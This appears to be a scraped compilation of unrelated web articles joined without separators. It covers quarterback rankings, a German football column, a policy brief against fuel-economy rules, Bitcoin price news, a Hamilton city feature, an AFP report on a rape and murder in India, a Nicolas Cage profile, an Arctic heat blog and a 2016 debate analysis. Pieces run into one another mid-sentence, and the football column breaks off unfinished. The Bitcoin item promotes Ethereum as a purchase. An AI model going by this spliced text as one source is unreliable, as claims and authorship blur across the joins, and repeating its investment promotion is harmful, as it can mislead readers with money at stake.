9. Brandon McIlwain (South Carolina commit) – Though he was never able to put it together for a consistent playoff run, McIlwain was close throughout the week and like Franks, he's always moving in the right direction from a developmental standpoint.
10. Jawon Pass (Uncommitted) – It's a pleasant surprise to see Pass sneak into this top 11 because early in the week he looked like he was a tier below as a passer from some of the other arms in attendance. But every day Pass gained confidence and every day he looked more comfortable. When he got his opportunities in tournament play, Pass looked like he belonged.
11. Anthony Russo (Rutgers commit) – We could easily put Jett Duffey in this spot because the Texas Tech commit had a really consistent week but Russo's emergence needs to be noted. He took some lumps during tournament play but he also had some really big moments where he showed touch, precision and second level accuracy. Russo will be a guy to keep an eye on as a senior.“Football,” they used to say in Germany, “is the most beautiful minor matter in the world.” That sentiment went out of fashion, along with those funny denim vests covered with fan badges and managers in salmon-coloured blazers, a few years ago. The game has become one of the most important, major matters in the country, a cultural activity that seems bigger than music, art, theatre and all other sports combined, if audience figures are anything to go by.
That rise to all-conquering prominence has attracted the country’s brightest minds and developed into a highly professional, productive industry. But football’s heightened social relevance is also reflected in the sort of insufferably grim, po-faced seriousness that used to be confined to political struggles or actual tribal conflicts.
Due to its lower profile internationally and Germans’ relatively small appetite for public debate, we have, mercifully, not yet reached the point where recently-converted VfL Wolfsburg supporters in sub-saharan Africa scour the internet for perceived slights of their club and vow to hound the offending pro-Whatever FC journalists out of their jobs. (Regular “comments section” frequenters will recognise the phenomenon: newcomers to the faith, especially those who live too far away to physically congregate with their gods and prophets, seem to feel the need to compensate for those defects by adopting a fundamentalist, 100% humour-free stance in defence of their side, while those born into the religion through parental lineage or proximity can often afford a more relaxed, ambivalent and honest relationship with the powers that be, as well as more tolerance towards non-believers).
But the prevalent ultra-earnestness and “us and them” mentality is nevertheless beginning to suck the fun out of weekends a little, as recent events have shown. Before last week’s Ruhr derby on TV, BVB and Schalke supporters surrounded and hit out at the car carrying commentator Marcel Reif to the game. Reif, 65, laughed it off but he was showered with beer, spat at and threatened by Dortmund fans foaming at the mouth in the run-up to the Black and Yellows’ DFB Pokal win at Dresden on Wednesday night. His crime had been to sardonically describe the Batman/Robin masquerade as “Punch and Judy theatre”. “I’m too old [for such stunts], but we live in a free country, of course,” he said. The Dortmund coach, Jürgen Klopp, replied in the Dresden pre-match conference that everyone found the celebration funny. “Everyone apart from Marcel Reif – he doesn’t find anything any more in his life.” Reif stopped short of blaming Klopp for the subsequent trouble but called his comments “irresponsible”. Klopp apologised on Wednesday night by saying “there was no need for that”.
Reif, to tell the whole story, had called Klopp a “Rumpeltiltskin who would have been better off in the second division” in a 2008 newspaper column he later retracted. But it is unlikely that BVB supporters were still enraged by that comment seven years later. The hate towards the Sky Germany man is sadly indicative of that new era of dourness we seem to have entered. Reif is disliked because of his critical, sometimes sarcastic, commentary about the game and the teams, for a sense of irony and distance that those embroiled in partisan passions find simply unacceptable. His eloquence is treated with suspicion – some find it patronising, others boastful – his failure to commit to a team as treason. Bayern-lovers are convinced he hates Bayern, Bayern-haters are sure he loves Bayern. He actually supports Kaiserslautern. But most of all, they viscerally dislike the subtext of his rhetoric: football is never more than football for Reif. That subsumption is regarded as an affront, a declaration of war even, by those who have elevated the game to be the sole provider of identity and purpose in their lives. Nuances and laughs wither in the shadow of giant flags, positions become more and more entrenched. The increasingly bitter “class war” between fans of traditional clubs and those from new money teams like RB Leipzig and Wolfsburg, too, is infused with such quasi-religious fervour. Representatives of the orthodoxy feel it is their duty to defend the purity of their belief-system against the destructive forces of liberal capitalism.
Supporters aren’t the only ones to blame for that joylessness, to be sure. During Bayern’s 3-1 away win to Hannover, thanks to two dodgy refereeing decisions and the return of Bayern-Dusel, the club’s infamous luck in winning games when playing badly, only the travelling supporters from Bavaria made themselves heard. It has been eerily quiet in Hannover home games since the beginning of the season, when the 96 ultras started boycotting their own club and switched their allegiance to the Under-23 team. The most influential supporters’ group was de facto dissolved as well.
The origins of the fall-out go back a couple of years, when 96 president Martin Kind banned the display of a banner with local mass murder Fritz Haarmann, clamped down on the burning of flares and on fans’ dissent against his stewardship in the stadium. Kind called sections of the fans “arseholes” and raised ticket prices as “collective punishment” for certain, unruly sections of the ground.
Matters came to a head when the club insisted that all supporters travel to the away derby game at Braunschweig on organised buses last season. Eleven fans successfully sued against that requirement but the club employed legal technicalities to prevent others from following suit.
Taken separately, each one of these arguments doesn’t appear terribly grave but in an atmosphere of mutual distrust, the situation has escalated. It seems beyond repair now. In an open letter last |
. Department of Transportation and the Environmental Protection Agency will increase the average cost of a new car by $3,000 by 2025. Furthermore, consumers are unlikely to realize the projected fuel savings used to justify these standards, and the new standards will further constrain consumer choice. The market is better able to meet the needs of American consumers—including fuel efficiency—than the paternalistic government in Washington, which already uses the tax code and other government subsidies to pick winners and losers in the auto marketplace, distorting it to the detriment of consumers and the economy.
Just in time for automotive year-end sales drives, the Obama Administration recently finalized new fuel-efficiency rules for cars and light trucks for model years 2017–2025 that require a near doubling of the current standards. Combined with the more stringent rules for 2011–2016, the new standards will increase the average cost of a new car by $3,000 by 2025 by the government’s own account.
Proponents of the rule claim that the more stringent miles per gallon (mpg) standard is a win for producers, consumers, and environmentalists, arguing that it will save consumers money on fuel, reduce dependence on foreign oil, and reduce global warming. In reality, federal fuel-efficiency standards are unnecessary, benefit special interests, and have numerous unintended consequences that will adversely affect American families.
Cap-and-Trade–Style Rules Benefit Special Interests
On August 28, 2012, the U.S. Department of Transportation (DOT) and the U.S. Environmental Protection Agency (EPA) finalized the corporate average fuel economy (CAFE) for cars and light-duty trucks. The new rule requires an average fuel economy of 54.5 mpg for 2025 model year vehicles. This is a stringent increase from President Barack Obama’s 2012–2016 standard, which increases the CAFE average to 35.5 mpg by 2016, up from the current CAFE average of 29 mpg.[1]
Thirteen major automakers, the United Autoworkers Union, the state of California, and environmental organizations worked with the government to craft the rule. This can be explained in part by California’s agreement to adopt the federal standard rather than create its own, thereby averting the creation of a patchwork of different fuel-efficiency regulations throughout the country. The benefit of the negotiation is that the Administration agreed to re-evaluate the standards for model years 2022–2025 if they are not technologically attainable or cost-effective. The problem is that all of the special-interest groups involved in the rulemaking stand to be protected, leaving consumers with higher prices and limited choice.
The rule attempts to provide some additional flexibility that will benefit some automakers more than others and further promote alternative fuel vehicles. Producers can collect credits by meeting targets earlier and either use those credits if they fall short another year or sell or trade them to manufacturers that fail to meet the target. For instance, electric vehicles—already heavily subsidized with grants, loan guarantees, and tax credits—receive double credit for model years 2017–2019. Manufacturers can receive credits for hybrid electric, natural gas, and other alternative fuel vehicles as well.
Cap-and-trade was a flawed approach for carbon dioxide reduction and is also inappropriate for automobiles. Unlike previous rulemaking, manufacturers cannot pay a fine if they cannot meet the standards. Instead, they would need to buy costly credits from other manufacturers.
Along with using the tax code and other government subsidies to pick winners and losers in the auto marketplace, the federal government is also using regulatory dictate to provide these credits, which hurts the taxpayers, the market, and consumers. When the government artificially lowers the cost of production, manufacturers must forgo the value of the goods that they might have produced if they had allocated their time, effort, and other resources in alternative ways. As Americans are currently witnessing with electric vehicles and plug-in hybrid vehicles, the market distortions could also incentivize auto manufacturers to produce vehicles that consumers may be unwilling to purchase.
Alternative fuel vehicles should not be reliant on preferential treatment from the government to be competitive. If they are dependent on such treatment, then this is a good indication that those technologies are not yet competitive.
CAFE Constrains Choice
At the heart of the debate over fuel-efficiency standards is the government’s paternalistic role in the economy that restricts consumer choice and ignores the trade-offs that consumers make. According to a poll by the American Energy Alliance, fuel economy is already the top consideration when consumers consider buying a new car. If consumers value saving money on gasoline, they will simply choose to purchase more fuel-efficient cars, and automakers will meet that demand without a federal mandate. Artificially raising the price of vehicles by an average of several thousand dollars hurts buyers.
Moreover, new mandates are not needed to achieve fuel savings. For example, before the new mandate takes effect, a driver of a 2006 Chrysler Sebring could save $800 per year in fuel costs by buying a 2012 Ford Focus.[2] Switching from an SUV or truck to a sedan would save even more. Consumers can choose from a wide selection of vehicles, including almost 300 different models that achieve better than 30 mpg on the highway.[3] While some may argue that this increased efficiency came as a result of mandated fuel-efficiency standards, which have been around since the 1970s, fuel efficiency has always been a top priority for consumers, whether they are purchasing compact cars, light-duty trucks, or heavy-duty trucks.
Consumers have other preferences as well, including weight and engine power, for safety, enjoyment, and practical reasons. Ignoring those preferences and forcing companies to make vehicles that are lighter and thus more fuel efficient has the unintended consequence of making them less safe.
Consumers need safer and heavier vehicles for a number of reasons: to take their children to soccer practice, to tow their boats, or to haul equipment or produce on small farms. In fact, a 2011 paper from the Massachusetts Institute of Technology found that if weight, horsepower, and torque were held constant at 1980 levels, fuel efficiency would have increased 60 percent from 1980 to 2006 instead of the 15 percent increase that did occur.[4] Yet over the years, auto manufacturers have continued to meet consumers’ demand for heavier, more powerful vehicles.
Increased fuel efficiency also incentivizes people to drive their vehicles more. Although the EPA and DOT account for this rebound effect, their low-end assumptions are questionable. Moreover, customers also consider price and affordability. Under this new mandate, the Energy Information Administration warns that new cars priced under $15,000 may no longer be available.[5]
Consumers consider these trade-offs and place higher or lower values on different vehicle features depending on what they want. Automakers have an incentive to balance those trade-offs and preferences of consumers because their sales will suffer if they fail to do so. Whether the preference is for safety, performance, or fuel efficiency, the market—not the federal government—is in the best position to meet that demand.
Higher Prices, Overly Generous Savings Estimates
By the Obama Administration’s own admission, the new fuel-efficiency standards will raise the sticker price for light-duty vehicles by an average of $1,800, and standards for model years 2011–2016 will increase the costs another $1,200 for a total of $3,000.[6] The EPA and DOT argue that consumers will save $3,400 to $5,000 over the life of the vehicle because of dramatic fuel savings.[7] However, these cost savings estimates are overly generous.
To capture the full savings from the fuel-efficiency standards, the federal government assumes that the purchaser of a 2025 model year vehicle will keep that vehicle for its entire lifetime. The agencies’ Joint Technical Support Document uses a weighted distribution to estimate savings for a 30-year lifetime for cars and 37-year lifetime for light-duty trucks.[8] For instance, the government estimates a 10.6 percent chance that a car purchased in 2025 will be driven in 2048. It further estimates that if the car survives those 23 years, it will be driven an additional 8,037 miles, and it compares the fuel savings to a baseline without fuel-efficiency standards. The savings estimate also includes a 2.4 percent chance that a car will be driven 7,227 miles 30 years after being purchased and a 2.7 percent chance that a light-duty truck will be driven 7,209 miles 37 years after being purchased and adds that into the projected lifetime fuel savings.[9]
While a weighted distribution may be a legitimate calculation to estimate miles driven throughout different ages of a vehicle, it is disingenuous to advertise all of this as projected fuel savings that the consumer will realize. If consumers sell their cars after paying off their loan within 36–72 months[10] they will enjoy only a fraction of the fuel savings. In fact, even Volvos and Fords—the cars that Americans keep for the longest periods (between six and seven years)—are a far cry from the lifetime ownership that the federal government assumes.[11 ]It is difficult to estimate what portion of the increased costs the original owners will be able to pass on when they sell or trade their vehicle.
Further, the EPA and DOT estimate that gas prices will be $3.87 per gallon in 2025, increasing to $4.24 per gallon by 2040. While that scenario is plausible, increases in supply could certainly drive prices down, and consumers would save less. Alternatively, gas prices could rise even higher than the government projections, and consumers could save more money, but it is difficult to project gas prices for the next year, let alone for the next 27 years. This makes the savings estimates even more questionable.
Furthermore, higher sticker prices affect the demand for and supply of new vehicles. Higher prices reduce demand and induce people to keep their older vehicles longer. Reduced demand means fewer cars produced, which means automakers will employ fewer workers. Although employment losses are not directly attributable to the Administration’s new rule, the Defour Group, a Michigan-based consulting firm, projected that a 56 mpg standard would destroy 220,000 jobs.[12 ]
No Reduction in Warming
The latest fuel-efficiency standards are part of newly implemented and proposed regulations to regulate carbon dioxide and other greenhouse gas emissions to combat global warming. In collaboration with DOT, the first target of the EPA’s regulation of carbon dioxide was new motor vehicles, beginning with the increase in fuel-efficiency standards for 2012–2016 model year vehicles.[13]
The EPA’s backdoor regulations come after Congress failed to pass cap-and-trade legislation to reduce greenhouse gas emissions to 83 percent below 2005 levels by 2050, but these bills would constitute negligible reductions in emissions, as acknowledged by EPA.[14] Since regulation of tailpipe greenhouse gas emissions would reduce greenhouse gas emissions less than a cap-and-trade bill would have, the regulations will have even less of an impact on global temperatures.
Congress Needs to Act
The market does a far better job of meeting consumers’ needs, and each iteration of more stringent fuel-efficiency standards takes America’s automobile market further in the wrong direction. Congress should intervene to prevent the EPA and DOT from enforcing the fuel-efficiency standards, either by withholding funds or by passing legislation that prohibits the regulation. Removing CAFE standards would benefit both producers and consumers, both now and in the long run.
—Nicolas D. Loris is Herbert and Joyce Morgan Fellow in the Thomas A. Roe Institute for Economic Policy Studies and Derrick Morgan is Vice President for Domestic and Economic Policy at The Heritage Foundation.Massive Price Hike Helps Bitcoin To Win Over Disney and McDonalds In Terms Of Market Cap
Haters might try and slam down the price curve of Bitcoin as the next big bubble just waiting to burst, but whatever be its future, the bull has definitely entered Bitcoin radar shooting up its price to sky-high limits. After breaking into the $9000 spectrum on Sunday morning, Bitcoin is rapidly racing to cross the $10,000 mark and it surely won’t wait till Christmas to shower its holders with the magnanimous return.
Monday morning was marked by Bitcoins being valued at $9700 in various exchanges worldwide accounting for a 15% hike in price since Friday. This has helped the cumulative value of total 16.7 million Bitcoins in circulation to smash through $160 billion boundary. This has placed Bitcoin in a higher rank compared to global giants such as McDonald, IBM and Disney in terms of market capitalisation.
Also Read: Bitcoin Market Cap to overtake Apple soon
At the time of publishing this article, Bitcoin price was $9970 with a market cap of $166,586,806,441. The market cap of McDonald was 136.86B and that of Walt Disney was $155.24B.
The total cryptocurrency market cap was around $310 Billion in which Bitcoin had a major share of 54%
In spite of having a sustained price rise in the last twelve months, various experts hold the view that Bitcoin is simply a bubble ready to burst. The price spike of Bitcoin got accelerated following the announcement made by Chicago Mercantile Exchange (CME) to launch bitcoin futures by second week of December which might very well be a major step in imparting a legal tag to this digital tender.
Following the announcement of Bitcoin future trading, its price has increased by a whopping 50%. At the beginning of 2017, a single Bitcoin token was valued at $1000. Once it reaches the $10,000 figure, its price hike shall be an unbelievable 100%. That’s something even the biggest stocks can’t promise. In spite of such positivity, several countries such as South Korea and China have imposed a ban on all crypto related dealings given its inherent links with money laundering. Top executives such as Jamie Dimon, the CEO of JPMorgan have also termed bitcoin as “a fraud.” and called Bitcoin buyers “Stupid”.
Neil Wilson, the senior market analyst working at ETX Capital, recently told the Guardian that,
“Rather than a commodity or currency, bitcoin is like owning stock in a company that will only ever issue 21 million shares and never pay a penny in dividends. The only way it has value is if the next guy is willing to pay you more for it – the greater fool. With no intrinsic value to bitcoin, it’s hard to see this as anything other than a giant speculative bubble.”
Just as Bitcoin zooms past all barriers, its closest competitor Ethereum is also slowly shifting gear to a growth trajectory by showcasing significant price hike in the last few weeks. Starting from $300 it shot up to $485 on Sunday. For those who missed the early Bitcoin train and can’t afford it presently, Ethereum surely poses as the next best option.
Also Read: Paypal Co-Founder, Peter Thiel Supports BitcoinIn case you haven't heard, you can do anything in Hamilton. We even have a t-shirt to prove it. That place known as "steel town" is no more.
We have had the opportunity to experience this renaissance over the last 11 months, and see it now not as a fad, or a moment in time.
Nope.
Hamilton is for real and we should all take notice and learn from the movement that is driving this perfect storm.
What do you create when you combine a fusion of artists and culinary mavens priced out of some of our countries larger cities, the willingness of a local government to enable innovative place making and cultural/culinary collective happenings, some forward thinking developers and creative entrepreneurs and a galvanized social media push around one hashtag called #hamont?
Meet Hamilton 2.0. A city that is organically and strategically turning into what some are saying could be Canada's answer to the movement that inspired a modern Brooklyn.
What seems consistent, and could be the very insight that continues the growth of this city and why we should all take notice, is a genuine sincere will to work together. There is this common feeling that collectively, anything is possible.
The city is showing us that if you celebrate and create a collective atmosphere, everyone wins: local businesses, the culture and food mavens, communities, tourism and development.
Add in the stunning historical architecture and a "re-invention of large heritage buildings into active hubs of commerce and culture " seen through examples like the Cannon Knitting Mills and you have a setting where magical transformation can take shape.
They are creating a place where people want to come live and visit.
And the proof is there.
Hamilton now attracts 4.5 million visits that spend $359.5 million annually and in 2014, it welcomed 57 conferences and 76 sporting events.
The city has welcomed various festivals over the summer to date including Hamilton Kicks It Up which animated the city around TO 2015 Pan Am Games, the Because Beer Festival, a great new-ish waterfront event and part of Hamilton's evolving local craft beer scene, along with favourites such as the Hamilton Fringe Festival and the Hamilton World Music Festival.
We had the opportunity to sit down with two of the change makers that are driving the transformation of Hamilton. Tim Potocic (TP), Co-owner of Sonic Unyon and one of the founders of Supercrawl, and Jason Cassis (JC), one of Hamilton's most innovative hospitality and real estate entrepreneurs, shared their thoughts on what is driving this transformation and the exciting things to come.
There seems to be a growing movement around the arts and food in Hamilton. What triggered this?
TP: This has been triggered by community. People working together and supporting one another.
JC: I believe growth was organic for the most part however when the trends emerged, the city did not take long to back them both. In the case of arts, they have committed to organizational assistance and some funding and in the case of food trucks, they have removed barriers to growth that allow that culture to thrive.
One can see there is authentic collaboration happening. What's the secret other cities can learn from?
TP: Hamilton has transformed in the last 10-15 years into a community that thrive on working together. Egos are checked at the door - people willing to help others are now in turn thriving.
JC: The change agents actively work together across multiple industries from food to arts to development, with the end goal of a better city in mind - ultimately the city at large wins in this case. Other cities should see the end product of improved neighborhoods as its most important goal, not individual interests.
What are the top three culture or food trends that are thriving in your city?
TP: Music, galleries and small business restauranteurs.
JC: Really big free festivals like Supercrawl or Festival of Friends, shared community office space and the reincarnation of the corner store/corner market such as Dundurn Market, one of my new passions.
Can you compare the city to another city in the world?
TP: Brooklyn.
JC: Brooklyn, New York a decade ago.
In one sentence, tell us why someone should visit? And live?
TP: Hamilton is an open, affordable and accommodating city, with lots of hidden gems ranging from culture to architecture to the nature surroundings.
JC: "Because you can do anything in Hamilton."
Where do you see the city in five years? 10 years?
TP: Massive growth, rebirth of a downtown, downtown living, thriving core one of Canada's cultural hotbeds. In 15-20 years -- the most talked about city in Canada.
JC: Five years -- I believe Hamilton will continue on its path of creating vibrant communities and will be home to wonderful homespun amenities. Those amenities created almost exclusively by the citizens that call it home. Ten Years -- Hamilton will become one of the top three cities to live in in Canada. This will be a result of a city hall that acts as a conduit to lead and engage its change agents to listen closely to its neighborhoods.
As the summer hits its midpoint, there are still many happenings for the public to attend.
Highlights include Greenbelt Harvest Picnic (August 29), co-founded by legendary music producer Daniel Lanois (originally from Hamilton), Supercrawl (September 11 to 13), and the AGH BMO World Film Festival (October 16 to 25). If you have kids, do not fear, the Telling Tales, A Family Festival of Stories (September 20) is a popular family event celebrating children's stories.
There are many lessons here for those who look to how to build successful communities. And for those of you who just want to go to a place filled with authentic, fun, collective experiences, you can now add Hamilton to the list. And if you want to be part of the movement, they are no doubt looking for big thinkers who are authentic in what they do.
ALSO ON HUFFPOST:
Photo gallery Hamilton's Best Restaurants See Gallery How Hamilton's Collective Pursuits Are Creating Canada's Brooklyn 1 / 24
Hamilton's Best Restaurants 1 / 24By AFP
A 16-year-old Indian girl who was raped and then set on fire on the roof of her home has died, police said Wednesday, the latest in a string of horrific sexual crimes in India.
The teenager, who sustained more than 90 percent burns in Monday's attack, died in hospital early Wednesday, the investigating officer told AFP.
"Unfortunately she could not be saved despite the best efforts of the medical staff," said Ashwani Kumar.
"We have arrested the accused, who is 19 years old and sent him to judicial custody.
"An investigation is on to find out more about the motive and details of the crime," he said.
The accused has been charged with a slew of offences including rape and murder, Kumar said.
"The body has been sent for postmortem. We are waiting for the report."
Media reports quoted the girl's father as saying the suspect lived nearby in their village in the northern state of Uttar Pradesh and that he had been harassing his daughter for a year despite several warnings.
Women's rights activists accuse police of often overlooking complaints of stalking, which they say only emboldens the perpetrators.
The fatal gang-rape of a student on a bus in Delhi in 2012 shone a global spotlight on the frightening levels of violence against women in India.
Her death from injuries sustained during the brutal assault sparked some of the biggest demonstrations in India's recent history, which intensified after being broken up by heavy-handed police tactics.
It triggered deep soul-searching about the treatment of women in a country where rape victims are often stigmatised and frequently pressured by police and relatives to drop allegations.
It also led to major reform of India's rape laws, including speeding up of trials and increased penalties for offenders, but high numbers of assaults persist.
Last month, police arrested two men for shooting dead a 14-year-old girl who resisted their advances in Uttar Pradesh state.
Also in February, a teenage rape victim was sexually assaulted for a second time while in hospital receiving treatment for the initial attack in eastern Jharkhand state.BEVERLY HILLS, Calif. — After playing, among other characters, a one-eyed dad who drinks beer out of his enemy’s skull (“Drive Angry”) and a motorcyclist from hell who can make his head burst into flame (“Ghost Rider: Spirit of Vengeance”), Nicolas Cage had gotten a reputation as a guy whose love of action pictures had, over the last decade, pulled him away from what he does best, namely, act. Quirky comedies and thoughtful indies were set aside for films heavy on bloodletting and explosions. Critics, even longtime champions like Roger Ebert, yearned for the Nic of old.
So it’s worth noting that when Mr. Cage went looking for his next screen role in 2012, he wanted something a bit more understated.
He took off much of that year looking for just the right part. “I’d done more baroque things, more operatic things,” he said. “What I’d call Western Kabuki in some ways, where I was trying to be more stylistic. All I knew is that I wanted to explore a quietude and not have to act, but just feel, or be.” For Mr. Cage, who won an Oscar for his portrayal of a screenwriter who commits suicide by ingesting lethal amounts of booze (“Leaving Las Vegas” in 1995), quiet can be a relative term. What he found was “Joe,” based on a Larry Brown novel. Mr. Cage plays the title character, a hard-living woodsman who illegally poisons trees for a living. Joe has a quick temper that he struggles mightily to keep in check, but when he happens upon two very depraved individuals, things quickly go south. The movie is quiet in the way that “Red Rock West” (1993), another film starring Mr. Cage as a salt-of-the-earth Texan with a propensity for violence, was quiet. In other words, not very.
“Joe” marks a return to form for this actor, a straight drama after a run of genre and effects-heavy action movies. Early reviews have singled out Mr. Cage for praise. David Rooney of The Hollywood Reporter noted his “bone-deep characterization of a man at war with himself.”Sprawling over the Northeastern Pacific, there’s a big, doggedly-determined high pressure system. One grown to enormous size and influence in a global atmosphere boiling with the heat of fossil-fuel laden airs. A weather system that’s now able to stretch out a long arm of influence into the High Arctic due to an unrelenting northward shove of oppressive record global heat.
(The Beaufort Sea Ice has been shattered under the weight of a relentless a high pressure system that has dominated this region of the Arctic for about a month. Now, a freak early-season invasion of above-freezing temperatures is set to level another melt-forcing blow at a region that is very sensitive to the worsening impacts of human-caused climate change. Image source: LANCE-MODIS.)
Extreme Fires, Sea Ice Loss in a Context of Ever-Worsening Climate Change
Beneath the high, much warmer than normal airs have settled in over the Northeast Pacific, over Western Canada, and over Alaska. These much hotter than typical temperatures have provided fuel for a raging start to fire season in such far northern regions. In Canada, nearly a hundred and fifty fires now burn. Sparked by never-before-seen heat and dryness, the worst of these blazes has now consumed 620 square miles of land and more than 1,600 structures around the city of Fort McMurray — forcing about 90,000 people to evacuate and threatening Canada’s hothouse gas emitting tar sands production facilities. Meanwhile, in Alaska, the heat has been lighting off forest fires since as early as February. A month that once only featured a climate of deep chill and heavy snow — but one that in the new, greenhouse gas warmed, world features an ominous winter burning.
The high has also extended it atmospheric influence up into the Polar zone — joining a powerful ridge that has torn away and shattered sea ice across the Central Arctic since at least mid-April. Opening wide areas of dark, heat absorbing water and contributing to never-before-seen low levels of sea ice extent and volume for May.
May Arctic Heatwave Builds
As of Sunday, this lumbering high began a big shift to the west — expanding its influence on into the North-Central Pacific and the Bering Sea. There, it rallied a warm flood of airs in the form of northbound winds. Warm winds now readying to make a big push into the Arctic Ocean later this week.
(Huge northward thrust of warm air seen in this Earth Nullschool capture for predicted May 12 conditions. Note the large swath of above-freezing temperatures invading the Arctic Ocean as readings in Northern Alaska and the Northwest Territory of Canada hit the upper 60s and lower 70s. Regions that are typically still covered in snow experiencing conditions that would be somewhat warmer than normal May weather for the US West Coast city of San Fransisco more than 2,000 miles to the south. Image source: Earth Nullschool.)
These winds are expected to build northward along a warm frontal zone over Northern Alaska and the southern reaches of the Beaufort and Chukchi Seas on Monday. Linking up with two low pressure systems forming over the East Siberian Sea by Wednesday morning, this wave of heat rising out of the Pacific is expected to have expanded into that sea and taken in all of the Chukchi and half of the Beaufort. By Friday, this northward drive of above freezing airs is expected to have taken in about a third of the Arctic Ocean region in total.
Over Alaska and the Northwest Territory near the Mackenzie Delta, temperatures are expected to rise into the upper 60s to upper 70s Fahrenheit (20-25 C). These are temperatures 20-28 degrees F (9-16 C) above average for early-to-mid May and readings seldom seen for this region even during June. Such high temperatures will hasten melt of any remaining snow or ice and spike fire hazards over this Arctic zone.
(Two lows on the Siberian side of the Arctic and a high over southern Alaska and the Northeast Pacific are predicted to drive an extreme level of heat into the Arctic starting Monday and continuing on through the end of this week. This extraordinary northward thrust of warmth appears set to tip the scales swiftly toward high Arctic thaw conditions that are typically experienced during June. Such a high degree of added heat will have a profound effect on both sea ice and remaining snow cover. Image source: Global and Regional Climate Anomalies.)
Savaging of the Sea Ice to Continue
Over the Arctic Ocean, conditions will arguably be worse. Temperatures in the near coastal waters of the Beaufort Sea could rise to as high as 41 degrees F (5 C) while temperatures in the range of 32-38 F (0 to 3 C) are expected to cover a very wide zone of Arctic waters invading about 600 miles of the thinning sea ice area between the Mackenzie Delta and the North Pole and covering a breadth of around 800 miles from the Canadian Archipelago to the shores of the East Siberian Sea. These temperatures are also 20-28 F (9-16 C) above average and are more like the atmospheric readings one would expect during July over these typically frozen Arctic waters.
It’s not just the high temperatures that are a concern with this invasion of extreme heat running into the Arctic. It’s also its sheer scale — taking in about 30 percent of the Arctic Ocean zone, most of Alaska, a large region of Northeast Siberia, and a big chunk of Northwest Canada. Such a huge warm air injection will be taken in by the larger circulation over the Arctic Ocean and greatly shrink the remaining pool of cooler airs — driving temperatures to push more rapidly above freezing.
(Off-the charts record Arctic heat shows up in a -1012 freezing degree day anomaly during 2016. In an average year, the Arctic experiences about 6,000 freezing degree days. We’ve lost more than 1/6th of that during 2016, which is basically like knocking one month out of the Polar Winter. Image source: CIRES.)
To this point, temperature anomalies above the 66 North Latitude Line are predicted to continue in the range of 2.5 to 3.5 C above average for the entire Arctic region into mid-May during a time of year when readings tend to moderate. In other words, this range is well above average for this time of year and continues a trend of record Arctic heat for 2016 that began during January. One that has now pushed freezing degree days (FDD) to a never-before-seen -1012 anomaly — which is like losing one entire month out of the coldest time of year in the Arctic.
The severe Arctic warmth continues to have a profound impact on Arctic sea ice — pushing measures inexorably into new record low levels. As of today, pretty much all the major extent and volume measures showed sea ice at new record daily lows and indicated a pace of melt at start of season that is absolutely unprecedented. Of particular concern are volume measures which have rapidly closed and overcome the gap between previous record low years.
(DMI’s sea ice volume measure enters a new record low range during early May. Note how swiftly comparative sea ice levels have fallen since February and March of this year. In essence, we are currently just below the record low 2012 launching pad all while facing an unprecedented level of heat building up in the Arctic. Image source: DMI.)
In this context of extreme Arctic heat and already record low Arctic sea ice levels, we continue to expect new record lows to be reached by the end of the melt season — pushing past one or more of the low marks set during 2012 and possibly testing near zero sea ice ranges (blue ocean event) of 80 percent volume loss since 1979 and below 750,000 square kilometers of sea ice area and 1.5 million square kilometers of sea ice extent by September of this year.
Links:
Earth Nullschool
Global and Regional Climate Anomalies
CIRES
DMI
The Beaufort Under Relentless Pressure
Canadian Interagency Fire Center
LANCE-MODIS
AdvertisementsThe fifth 2016 Democratic presidential primary debate marked the first time Bernie Sanders and Hillary Clinton faced each other one on one.
The February 4 debate was also the first one after the Iowa caucuses, which saw Sanders and Clinton fight to a draw, and the last before the New Hampshire primary, where Sanders is expected to beat Clinton handily. It finds Clinton at perhaps her weakest moment in the campaign so far, with no clear victories to date, defeat imminent, and a growing and impassioned movement backing her opponent.
It'll take a few days for poll results to trickle in, which will provide the closest thing to an objective answer of who actually won the debate. But in the meantime, here are the candidates who ended the night better off than they started it — and the ones who slipped.
Winner: Bernie Sanders
No one is more on message than Bernie Sanders. No matter the context, no matter the topic under discussion, Sanders is uncannily good at changing the conversation to his preferred topics: inequality, the political power of banks, and the corrosive effect of corporate money on politics.
At times that can make him sound like he's missing the point. But when those are the actual topics under discussion, it makes him an incredibly disciplined, well-prepared debaters. And for at least the first half of the debate, the topics were all ones he was designed to do well on.
A huge chunk of the debate was devoted to discussing Wall Street reform, which gave Sanders a great opportunity not just to showcase his support for very ostentatiously tough anti–Wall Street regulations — like separating commercial and investment banking — but to bring up Clinton's longstanding ties to the financial industry, and especially her acceptance of $675,000 in speaking fees from Goldman Sachs.
He was also given an extended platform to trumpet his single-payer health care plan, which, whatever problems it may have, is a more inspiring talking point than Clinton's "let's just not do health care again" position. The very nature of the discussion on domestic policy forced Clinton to acknowledge, without Sanders's help, that she's offering voters less.
"I also believe in affordable college," she said. "But I don't believe in free college because every expert that I have talked to says, look, how will you ever control the costs." That may be a sensible assessment of the policy problem, but it doesn't fare well next to Sanders's promises that we can too dramatically expand access to higher education.
Sanders also got multiple chances to disavow interest in non-substantive procedural controversies involving the Clinton campaign. He doesn't care about her emails, he reiterated, but he also pooh-poohed concerns about irregularities in the Iowa caucuses, which many online Sanders supporters have argued gave Clinton an unfair, narrow victory there.
Sanders sensibly pointed out that he only got a couple fewer delegates out of Iowa, and that who actually got first largely doesn't matter in the grand scheme of things. It bolstered his image as a different kind of politician, without patience for cable news mini controversies and an unerring focus on the actual big problems: inequality, stagnant wages, and the rich's domination of the political process.
Winner: Hillary Clinton
Okay, I know this sounds dumb, but hear me out. On some level, the Democratic primary process is now zero-sum, with any gains to Sanders hurting Clinton and vice versa. And that's true in a narrow sense. But both candidates gave very strong performances that emphasized their respective strengths. Regardless of who won in relative terms, both clearly succeeded in making the most compelling case for their respective candidacies.
For Clinton, that meant giving her strongest performance to date on foreign policy. She's still well to the right of the Democratic Party as a whole on these questions. But she also is actually well-versed in them, whereas Sanders's comments on foreign policy appear limited to a) praising the foreign policy achievements of the Obama administration, and b) hammering Clinton for her vote for the Iraq War.
The latter remains Clinton's biggest weakness. It's unclear why she can't simply say, "It was a huge mistake, I've rethought my views on the use of force and learned from my mistake," but in lieu of that kind of fully honest reckoning, her burn at Sanders — "A vote in 2002 is not a plan to defeat ISIS" — was rhetorically effective if not particularly reassuring to more dovish Democrats. It turned the conversation from being about her positions on the issue toward Sanders's near-total ignorance of it.
